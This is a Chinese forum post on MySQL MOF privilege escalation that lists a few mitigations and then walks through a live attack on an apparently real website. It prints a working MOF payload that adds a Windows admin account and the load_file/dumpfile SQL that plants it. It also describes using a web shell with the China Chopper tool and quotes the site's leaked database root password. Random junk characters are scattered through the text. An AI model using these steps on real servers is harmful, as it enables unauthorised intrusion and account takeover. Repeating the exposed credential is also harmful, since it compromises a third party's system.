Mysql mof扩展漏洞防范方法
* s0 h$ ^: b- V0 C( B$ C* r, \3 \
网上公开的一些利用代码:
4 z3 J2 b; r; b0 f9 d& V- W# U! R5 b, k& t) |8 L
#pragma namespace(“\\\\.\\root\\subscription”)
5 C+ i: {+ ^8 M& g7 V5 m1 s$ D1 }" [# g' B1 k, o6 Q
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };$ w: Z6 Z, A5 G
" K+ `! `0 G8 _$ E
' h) Q( B4 C, Y; v: e" m3 m
: `) x" w$ S% c, t 8 K2 D" i: R% P) ~! ~
% n% W; y+ a/ C9 u: \0 X连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
2 I* ]) C" T" C) f- u; R1 @从上面代码来看得出解决办法:- M% J o$ V {9 K6 ^* ~ {# y
0 u9 k/ }# I, b6 {1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
9 i( \0 {9 X0 Y, o" ~ m/ p4 H5 y' U6 m% m/ u1 g
2、禁止使用”WScript.Shel”组件' M5 w: A4 |9 l0 ]- z
! D0 G8 h8 h; K; L/ n* R6 Q3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
- a: h" }; w; {7 A4 Y! o7 V
' D, B+ M' ]6 t; E+ P当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下 ~, [$ b& [6 J4 |3 e; F
- H' r4 g4 Y4 O% K* W3 [/ S& \事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
9 Q; x, t( O2 U' s5 c0 z$ e8 t# n+ `0 j$ z5 W+ }
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
6 g, `) x6 z. X9 T3 Z# |8 m/ w- s( d" M
看懂了后就开始练手吧
4 W' k1 m2 j& l+ ~; ^: a) [
$ {9 j3 G) E9 X1 T, Fhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
F7 h, y% I3 i4 E4 ?! q. ^
. K. o2 G% v3 W/ ]" f$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
& a8 u/ {; Y; p# u* T
y8 @. v: K4 X5 f3 h( {5 ]5 c% j7 B于是直接用菜刀开搞
y9 @6 @9 N) D1 S4 ]' }% L* x" R9 V2 e1 ?; m, U
上马先
0 w: U6 X X, V5 ?7 E. Y% X0 F' z# S
. G7 O% w! E5 D既然有了那些账号 之类的 于是我们就执行吧…….- ?( x( O2 g; A
9 B; _) q: u+ u: P1 D小小的说下) c# x0 [ b- m$ p1 Q; E1 X2 x
% R# s4 |! z/ l
在这里第1次执行未成功 原因未知, o2 Y3 i) p# s/ e/ x1 b
& B0 }, a6 o2 N7 e( {# t我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。* U/ N5 N! \( M/ j
/ g) g4 A6 }/ } k. M G
#pragma namespace(“\\\\.\\root\\subscription”)& [% {* p, \* i `
- r( J7 q6 E0 e$ I% A. M+ e# oinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
; V: `- X* q$ o3 M2 F4 j9 |/ K! e; d2 [" \* V K& [6 l) s
我是将文件放到C:\WINDOWS\temp\1.mof
2 ]# g2 n9 t) I' Q7 J, e w
5 i0 O; s) e6 K' y$ E" `所以我们就改下执行的代码; D& |( ^' i5 e( Z
2 K N2 s( a( q1 c2 Q0 p& \select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
9 n+ n6 Z0 P p$ B
% w2 A. V+ L0 q. r N" _* N! T4 o* v1 _
# Q% W( a, Z5 H/ q& ^但是 你会发现账号还是没有躺在那里。。$ d* i9 t. c! {1 n2 ^0 x* `% {
) J! b* s% D& \; d+ O
于是我就感觉蛋疼8 @; q: _3 l# I
7 ~/ H6 K+ ?# ]) _, T
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
' o" u9 q7 U, ?3 N6 |. u9 K6 G, ?( N! C
) ]/ w1 E0 l. _! t- c0 G b# A% a6 \- a
但是其他库均不成功…- ~& E( n q) {; f. d
+ Y* l. X7 I8 S6 { K+ N5 p
我就很费解呀 到底为什么不成功求大牛解答…* J0 \/ G, d4 H5 b T2 X& y
& e) |2 k+ S! j, K! }/ q3 y8 t) i A( s
1 D9 u9 h1 J1 n" d. ~( `
|